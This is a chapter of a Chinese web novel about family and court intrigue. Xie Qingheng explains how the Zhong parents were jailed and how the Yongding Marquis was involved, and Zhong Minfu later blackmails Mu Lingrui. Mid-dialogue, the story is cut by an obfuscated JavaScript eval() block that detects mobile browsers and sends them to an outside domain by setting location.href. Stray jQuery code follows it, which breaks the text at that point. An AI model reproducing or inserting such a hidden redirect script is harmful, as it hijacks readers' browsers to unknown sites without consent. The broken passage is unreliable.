没了谢清珩的帮助,钟家败落的速度远超钟琦央的想象。
钟父和钟继母相继入狱,钟敏福因为在大门前闹事,也被京兆尹扣留。
短短几天,除了签下死契的仆从,其余人一跑而空,待钟敏福从京兆府出来时,钟家几乎只剩一个空壳。
碧玉很快调查清楚永定侯府跟钟家之间的往来,两家之间早就勾结到一起。
这些年,钟琦央继母打着侯府的名号在外周旋办事,而永定侯夫人对此睁一只眼闭一只眼,因为她什么都不用干,只要事成,就可以拿到半数收益。
钟琦央听了,倒吸一口凉气:“她们胆子倒是不小,这件事永定侯本人知道吗?”
前几年,永定侯被卷入卖官鬻爵一案,至今还赋闲在家,要是他知道自己妻子背着自己……
碧玉摇头:“不清楚,奴婢觉得永定侯应该知晓,钟夫人行事可不严谨。”
钟琦央面色凝重:“等大人散值回府,马上把他请过来,就说我有要事与他商议。”
几年前,谢清珩遭永定侯牵连的事还历历在目,虽说他们现在已经跟永定侯分家,但在外人看来,谢清珩自幼在永定侯府长大,对永定侯的事不可能一无所知。
更何况,谢清珩在钟家调查时,还曾出手帮忙。
碧玉从钟琦央的神色意识到事情的严重性,到了时辰就到大门处蹲守。
傍晚,谢清珩刚回府,就被早在大门等候地碧玉拽到梧桐苑。
看碧玉焦急的模样,谢清珩还以为是钟琦央出事,快步朝梧桐苑走去,甚至把碧玉远远甩到身后。
到了梧桐苑,看着钟琦央跟往常一样,坐在书桌旁拨弄着算盘,谢清珩感到奇怪:“不是,出什么事了?”
钟琦央朝碧玉使了个眼色,碧玉会意,走出房间把门带上,为钟琦央守门。
“到底出什么事了?”严肃谨慎的场面,让谢清珩愈发奇怪。
钟琦央让谢清珩坐下,随后把调查到的事情仔仔细细说了一遍。
谢清珩听后,反倒松了一口气:“就这?”
这下轮到钟琦央纳闷了:“你不着急吗?”
谢清珩慢悠悠倒了杯茶,润了润喉咙:“我知道。”
“你知道?那你不跟我说?”
钟琦央看着谢清珩淡定的模样,有些生气,她一整天都在替谢清珩担心,想着这次谢清珩会不会再次被永定侯牵连?要是真的被牵连该怎么办?
结果谢清珩轻飘飘一句他早知道,让她的担心像场笑话。
谢清珩见钟琦央有动怒的迹象,忙走到钟琦央身后,为她捏肩:“这不是事情还没有定论吗?我怕提前说出来,害你白担心。”
“你现在一五一十把你知道地都跟我说一遍。”
在钟琦央的目视下,谢清珩老老实实把他知道的事情和盘托出。
玄朝规定,要想重审已经盖棺定论的案宗必须有新的证据,或者找出罪犯犯的其他罪过。
一年前,钟父之所以能被放出来,除了谢清珩的帮忙外,还因为证据存疑。
就算现在再找,也不一定能找到新证据。
于是谢清珩从钟父犯的其他事入手,钟父并不算一个好官,谢清珩很容易找出他的错处,重新审理此案,钟父钟继母被抓入狱。
可在查阅卷宗时,谢清珩发现永定侯也插手了钟父案件。
不过跟谢清珩相反,永定侯是想致钟父和钟继母于死地,还特意收买当时钟府的一个小管事,让他作伪证。
只不过因为谢清珩插手,钟父钟继母提前出狱,伪造的证据自然没派上用场。
谢清珩把疑点跟负责此案的林中丞说了一声,林中丞派人去调查,得到小管事失踪的消息。
谢清珩知道小管事大概是被永定侯府或者钟家处理了,本来歇了心思,打算从其他方面找钟府跟永定侯勾结的证据。
直到前几天看到跟着钟敏福来闹事的小混混,谢清珩当时只觉得眼熟,后来想起他之前在沐灵蕊宅邸前也见过那伙人。
永定侯一直想要沐灵蕊的宅邸,所以派人在沐灵蕊宅邸前闹事,逼得沐灵蕊住不下去。
这不就是最好的证据嘛,谢清珩马上告知林中丞,林中丞派官兵把那群小混混给控制起来,现在那群小混混正在狱中受审。
“照你这么说,钟老爷他们现在还在为永定侯办事?这么大度的吗?”
自从签下断亲书后,钟琦央称呼钟父和钟继母就跟外人一样,现在听到钟家人为想致他们于死地的人办事,惊奇不已。
“他们不知道永定侯做的事。”
谢清珩想到本来嘴硬的钟家夫妇,在知道真相后,脸上心如死灰的神色,不免感到好笑。
谢清珩也是现在才知道,永定侯在钟家夫妇出狱后,把救人的功劳按在了他自己的头上。
这次钟家夫妇刚被抓进监狱时,以为永定侯还会救他们,才那般有恃无恐。
“那这件事会不会牵连到你?”钟琦央担忧地望着谢清珩。
“放心,我跟皇帝坦白当初帮助钟家的事,并且主动揭发呈上钟家的罪证,表明我跟此案无关,不过……”谢清珩面露迟疑。
“不过什么?”钟琦央紧张起来。
“不过这次过后,我们怕是会跟永定侯府交恶。”
谢清珩声音低落,他在永定侯府长大,幼时大家对他也算和善,想到要跟永定侯府交恶,谢清珩的心情十分复杂。
钟琦央看出谢清珩所想,抚摸谢清珩背脊,宽慰道:“这不是你的错,永定侯纵容家眷贪污受贿,罪有应得。”
谢清珩苦笑摇头:“永定侯以后怕是会记恨你我,你今后行事多加小心。”
钟琦央闻言有些不解:“永定侯在狱中还能怎么嚣张?”
谢清珩摇头:“现在事情还没定论,目前没有能直接证明永定侯犯罪的罪证,而且依我对永定侯的了解,仅靠这件事很难扳倒他。”
钟琦央想到当初永定侯为了从卖官鬻爵一案中脱身,不惜牺牲侄子的前程,沉默下来。
谢清珩不想钟琦央为他担心,岔开话题:“不过钟家夫妇怕是很难脱身,你不是一直很想要回母亲遗物吗?我跟陛下说明情况,陛下允诺,等查抄钟府时,将你母亲遗物原物奉还给你。”
钟琦央听后,有些不敢置信:“真的吗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15584044|171645||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?”
看到谢清珩点头,钟琦央开心地抱住谢清珩。
她本来还在苦恼怎么拿回母亲遗物,甚至做好付出大代价的准备,硬着头皮跟那对夫妻协商。
没想到如今不用费一分一厘就能拿回母亲遗产,自然喜不自胜。
谢清珩继续道:“等钟家的案件解决好,我打算让灵蕊搬回去。”
那群混混被关进大牢,没个三年五载出不来,永定侯府经过这件事也会有所顾忌,不敢再嚣张行事。
加上他已经在官府为沐灵蕊重新办理了一份房契,永定侯府手中的那份房契理所当然作废。
有他撑腰,想来永定侯府不会再找沐灵蕊麻烦。
人类的悲欢并不相同,住在芙蓉苑的沐灵蕊还不知道谢清珩让她搬出去,正恼恨地看着信件。
“你是怎么拿到这封信的?有没有被其他人看到?”
秋燕不明白小姐怎么又生气了,老老实实回答:“一个小厮给我的,说是小姐的信。”
沐灵蕊眼神一暗:“去准备准备,等会儿随我出府。”
一盏茶的功夫,沐灵蕊带着秋燕出了御史府,来到一家茶坊。
茶坊不大上下两层楼,一楼大堂四五张八仙桌用来招揽散客,二楼则由一扇扇屏风隔出雅间,招待贵客。
沐灵蕊径直奔向二楼,让秋燕守在门口,随后一把掀开竹帘,瞪着坐在茶几旁的男子,质问道:“钟敏福,你想干什么?”
钟敏福听到动静,转过身来,扯了扯嘴角:“我想干什么?当然是想让一切回归原样。”
想到这几天的遭遇,钟敏福脸上笼罩一层阴霾。
沐灵蕊看着钟敏福脸上青一块紫一块,加上脸色阴沉,显得整个人十分恐怖,下意识后退:“你这是怎么了?”
钟敏福看到沐灵蕊的动作,误以为她想逃跑,上前拽住沐灵蕊手腕,往墙角一扔,双眼赤红:“我这样还不是拜永定侯府所赐,都是一群小人。”
刚从京兆尹牢狱出来,钟敏福就去了永定侯府。
可永定侯连大门都没让他进,还找人把他打了一顿,警告他不要生事,否则小命难保。
沐灵蕊害怕地往后缩:“我不知道,你要报仇去找永定侯府或者钟琦央,找我干什么?”
“报仇?不不不,我只想让一切回归原样,你想办法让我爹娘出狱。”
听到这个要求,沐灵蕊哭丧着脸,突然想到什么,急忙道:“我能有什么办法?你去找钟琦央,她是你姐姐,肯定有办法帮忙。”
钟敏福冷笑:“呵,我上次听你的去御史府大门闹事,结果被抓进京兆尹。”
沐灵蕊嘴硬:“我也没想到钟琦央心那么狠。”
“没事,只要你帮我救出爹娘,这件事就一笔勾销,不然,当初普陀寺的事……”
沐灵蕊脸色十分难看:“你当初根本没把事情办成。”
“那又如何?反正你想陷害钟琦央的证据我都留着呢,要是不想我那姐夫知道,就赶紧想办法把我爹娘救出来。”
说罢,钟敏福转身离开。
刚走到门口,只觉脖颈一痛,失去意识,身体朝后倒去。